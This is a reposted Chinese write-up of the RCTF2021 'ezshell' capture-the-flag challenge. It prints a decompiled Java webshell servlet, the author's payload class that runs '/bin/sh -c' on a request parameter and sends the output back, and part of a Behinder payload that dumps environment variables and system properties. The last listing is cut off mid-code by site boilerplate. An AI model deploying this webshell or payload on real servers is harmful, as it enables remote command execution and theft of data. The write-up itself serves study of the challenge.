RCTF2021 ezshell
Posted bfengj
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了RCTF2021 ezshell相关的知识,希望对你有一定的参考价值。
前言
RCTF当时没打,感觉还是错过了学习的机会。今天下午看firebasky师傅的github的时候偶然看到了RCTF的题目,所以打算找个时间把这个比赛的Web复现一下。就没有把所有的web题目都放一篇文章上,因为最近各种事情还有复习,复现题目也是断断续续了,可能接下来会过个好几天才继续看下一题,时间间隔拉的太久,而且每道题学到的东西也比较多,写的相对来说也比较详细,就单独拉出来成一篇文章了。
Writeup
Misc里面的一道Web,get访问/shell
之后可以得到源码反编译之后审计一下:
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.lang.reflect.Method;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import sun.misc.BASE64Decoder;
@WebServlet({"/shell"})
public class shellbx extends HttpServlet {
public shellbx() {
}
protected void service(HttpServletRequest request, HttpServletResponse response) {
try {
String k;
if (request.getMethod().equals("POST")) {
response.getWriter().write("post");
k = "e45e329feb5d925b";
HttpSession session = request.getSession();
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
byte[] evilClassBytes = (new BASE64Decoder()).decodeBuffer(request.getReader().readLine());
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
Class evilClass = (new U(this.getClass().getClassLoader())).g(c.doFinal(evilClassBytes));
Object a = evilClass.newInstance();
Method b = evilClass.getMethod("e", Object.class, Object.class);
b.invoke(a, request, response);
} else {
k = "ROOT.war";
String path = System.getProperty("user.dir") + File.separator + ".." + File.separator + "webapps" + File.separator + k;
File file = new File(path);
String filename = file.getName();
BufferedInputStream fis = new BufferedInputStream(new FileInputStream(path));
byte[] buffer = new byte[fis.available()];
fis.read(buffer);
fis.close();
response.reset();
response.addHeader("Content-Disposition", "attachment;filename=" + new String(filename.getBytes()));
response.addHeader("Content-Length", "" + file.length());
BufferedOutputStream toClient = new BufferedOutputStream(response.getOutputStream());
response.setContentType("application/octet-stream");
toClient.write(buffer);
toClient.flush();
toClient.close();
}
} catch (Exception var10) {
}
}
}
很明显的类似冰蝎那个jsp马,但是连不上,查了一下说是因为冰蝎还存在密钥协商的过程。
不过代码的逻辑还是很容易理解的,就是post传过去一个先经过AES加密再经过Base64加密的一个恶意类的字节码,然后调用这个类的e()
方法。
所以就写这么个恶意类,然后产生payload:
package com.feng.test;
import javassist.ClassPool;
import javassist.CtClass;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.util.Base64;
public class Evil {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get("com.feng.test.Evil");
byte[] code = clazzz.toBytecode();
String k = "e45e329feb5d925b";
Cipher c = Cipher.getInstance("AES");
c.init(1, new SecretKeySpec(k.getBytes(), "AES"));
byte[] bytes = c.doFinal(code);
String str = new String(Base64.getEncoder().encode(bytes));
System.out.println(str);
}
//HttpServletRequest request, HttpServletResponse response
public void e(Object req,Object resp) throws Exception{
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) resp;
String[] cmd = {"/bin/sh","-c",request.getParameter("cmd")};
//String[] cmd = {"cmd","/c",request.getParameter("cmd")};
Process inProcess = (Process) Runtime.getRuntime().exec(cmd);
InputStream in = inProcess.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(in));
String line;
byte[] bcache = new byte[1024];
int readSize = 0;
try(ByteArrayOutputStream outputStream = new ByteArrayOutputStream()){
while ((readSize =in.read(bcache))!=-1){
outputStream.write(bcache,0,readSize);
}
response.getWriter().println(outputStream.toString());
//System.out.println(outputStream.toString());
}
}
}
然后我本地打通了复现的docker那边死活没回显:
看了一下各种writeup,才看到好像题目的环境是不出网,过滤了内存马和命令执行,还给了个提示:冰蝎basicinfo。
这个basicinfo
是啥,咱也不知道,咱也不敢问,把冰蝎的那个jar包解压缩然后拿IDEA打开,查找一下basicinfo
,找到了net/rebeyond/behinder/payload/java/BasicInfo.class
:
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package net.rebeyond.behinder.payload.java;
import java.io.File;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Properties;
import java.util.Set;
import java.util.Map.Entry;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class BasicInfo {
public static String whatever;
private Object Request;
private Object Response;
private Object Session;
public BasicInfo() {
}
public boolean equals(Object obj) {
String result = "";
boolean var22 = false;
Object so;
Method write;
label132: {
try {
var22 = true;
this.fillContext(obj);
StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");
Map<String, String> env = System.getenv();
Iterator var5 = env.keySet().iterator();
while(var5.hasNext()) {
String name = (String)var5.next();
basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");
}
basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");
Properties props = System.getProperties();
Set<Entry<Object, Object>> entrySet = props.entrySet();
Iterator var7 = entrySet.iterator();
while(var7.hasNext()) {
Entry<Object, Object> entry = (Entry)var7.next();
basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
}
String currentPath = (new File("")).getAbsolutePath();
String driveList = "";
File[] roots = File.listRoots();
File[] var10 = roots;
int var11 = roots.length;
for(int var12 = 0; var12 < var11; ++var12) {
File f = var10[var12];
driveList = driveList + f.getPath() + ";";
}
String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
Map<String, String> entity = new HashMap();
entity.put("basicInfo", basicInfo.toString());
entity.put("currentPath", currentPath);
entity.put("driveList", driveList);
entity.put("osInfo", osInfo);
entity.put("arch", System.getProperty("os.arch"));
result = this.buildJson(entity, true);
var22 = false;
break label132;
} catch (Exception var26) {
var22 = false;
} finally {
if (var22) {
try {
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(result.getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var23) {
}
}
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(result.getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so以上是关于RCTF2021 ezshell的主要内容,如果未能解决你的问题,请参考以下文章